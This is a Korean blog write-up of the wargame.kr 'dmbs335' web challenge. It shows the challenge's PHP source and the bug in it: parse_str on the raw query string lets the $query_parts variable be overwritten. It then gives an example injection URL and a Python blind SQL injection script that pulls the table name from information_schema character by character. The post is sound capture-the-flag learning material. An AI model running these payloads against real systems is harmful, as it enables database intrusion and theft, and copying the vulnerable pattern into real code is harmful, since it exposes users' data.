dmbs335님이 만드신 문제라고 한다. 소스를 보면.
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include("../lib.php");
include("./inc.php"); // Database Connected
function getOperator(&$operator) {
switch($operator) {
case 'and':
case '&&':
$operator = 'and';
break;
case 'or':
case '||':
$operator = 'or';
break;
default:
$operator = 'or';
break;
}}
if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
exit('not allowed');
}
parse_str($_SERVER['QUERY_STRING']);
getOperator($operator);
$keyword = addslashes($keyword);
$where_clause = '';
if(!isset($search_cols)) {
$search_cols = 'subject|content';
}
$cols = explode('|',$search_cols);
foreach($cols as $col) {
$col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : '';
if($col) {
$query_parts = $col . " like '%" . $keyword . "%'";
}
if($query_parts) {
$where_clause .= $query_parts;
$where_clause .= ' ';
$where_clause .= $operator;
$where_clause .= ' ';
$query_parts = '';
}
}
if(!$where_clause) {
$where_clause = "content like '%{$keyword}%'";
}
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) {
$len = strlen($where_clause) - (strlen($operator) + 2);
$where_clause = substr($where_clause, 0, $len);
}
?>
~~~~ 중략
<?php
$result = mysql_query("select * from board where {$where_clause} order by idx desc");
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>{$row['idx']}</td>";
echo "<td>{$row['subject']}</td>";
echo "<td>{$row['content']}</td>";
echo "<td>{$row['writer']}</td>";
echo "</tr>";
}
?>
라고 나와있다. 좀 다른 방식의 sqli라서 소스 해석하는데 가장 오랜 시간이 걸렸다. 우리가 찾을 수 있는 특이점은 $_GET처럼 받아서 쓰는게 아니라 parse_str함수로 그냥 $_SERVER['QUERY_STRING']을 가져온다는 것이다. $_SERVER['QUERY_STRING']은 우리가 GET방식으로 전달한 문자열을 저장해 놓은 것이고, parse_str함수는 이것을 변수로 만들어주는것이다.
$_SERVER['QUERY_STRING'] : http://blog.naver.com/bad16a/150184532886
parse_str : http://blog.naver.com/diceworld/220223718632
어쨋든 이게 신기한 부분이고 소스에서 취약한 부분을 찾아보자. 아랫부분에 쿼리 실행부분에서 $where_clause가 변수로 들어가는걸로 보아 이걸 조작해야 함을 알 수 있다. 취약한 부분 찾는게 가장 오랜 시간이 걸렸는데, $where_clause변수를 잘 살펴보면 이것은 처음에
foreach($cols as $col) {
$col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : '';
if($col) {
$query_parts = $col . " like '%" . $keyword . "%'";
}
if($query_parts) {
$where_clause .= $query_parts;
$where_clause .= ' ';
$where_clause .= $operator;
$where_clause .= ' ';
$query_parts = '';
}
}
부분에서 할당받는다. $query_parts는 위에서 보듯이 만들어지는데, query_parts는 $col일때만 만들어진다. 여기서 힌트를 얻었다. 우리가 입력한 값이 parse_str로 변환되는데, 만약 우리가 get방식으로 query_parts=~처럼 입력하고, $col을 false로 하면 $query_parts는 우리가 처음에 입력한 값이 그대로 들어가지 않을까? 했는데 그게 맞는 생각이었다.
col은 $search_cols가 |로 explode된 결과이며, 이걸 하나하나 가져와서 subject나 content나 writer가 아니면 ''가 되어 false가 된다. 그러면 우리가 search_cols를 입력할때 subjectdf처럼 이상하게 입력하면 ''가 된다. 이렇게 입력해서 false를 만들고, query_parts를 get방식으로 보내게 되면 우리가 입력한 query_parts가 인젝션되게 된다.
예시. http://wargame.kr:8080/dmbs335/?search_cols=subjectsdfsd&query_parts=1=0 or (select 1)
처럼 입력하면 모든 컬럼이 다 보이고, select 1을 select 0으로 바꾸면 아무것도 안 보인다. 저기다가 인젝션하면 된다.
테이블명 구하기.
# -*- encoding: cp949 -*- import urllib2 ci_session = 'ci_session='+본인 세션 answer = '' for i in range(1,50): for j in range(32,128): print '%2d %3d %s' %(i,j,answer) req = urllib2.Request('http://wargame.kr:8080/dmbs335/?search_cols=subjects|contents&keyword=&query_parts=1=0%20or%20(select%20ascii(substr(table_name,'+str(i)+',1))%3D'+str(j)+'%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201)') req.add_header('cookie',ci_session) page = urllib2.urlopen(req).read() if page.find('welcome to wargame.kr') != -1: answer += chr(j) break print answer
테이블을 구하면 Th1s_1s_Flag_tbl 라는 값이 나온다. 저걸 잘 바꿔서 이 테이블의 컬럼을 찾아보면 f1ag라는 컬럼이 있다. 그리고 또 잘 바꿔서 flag를 구하면 된다.
음. wargame.kr 의 mini_tbr과 비슷한 get방식으로 잘 전달해서 인젝션하는거라 해야하나? 신선한 문제였다.
'webhacking > sql, sql injection' 카테고리의 다른 글
securitytraps.pl Language, adm1nkyj님의 새 워게임 3. (0) | 2015.07.05 |
---|---|
chall.tasteless.eu Unsolvable, Never Trust The Obvious (0) | 2015.07.04 |
hackcat 테스트용 웹문제 (0) | 2015.06.04 |
chall.stypr.com YetAnotherSQL (0) | 2015.05.24 |
wargame.kr SimpleBoard (0) | 2015.03.29 |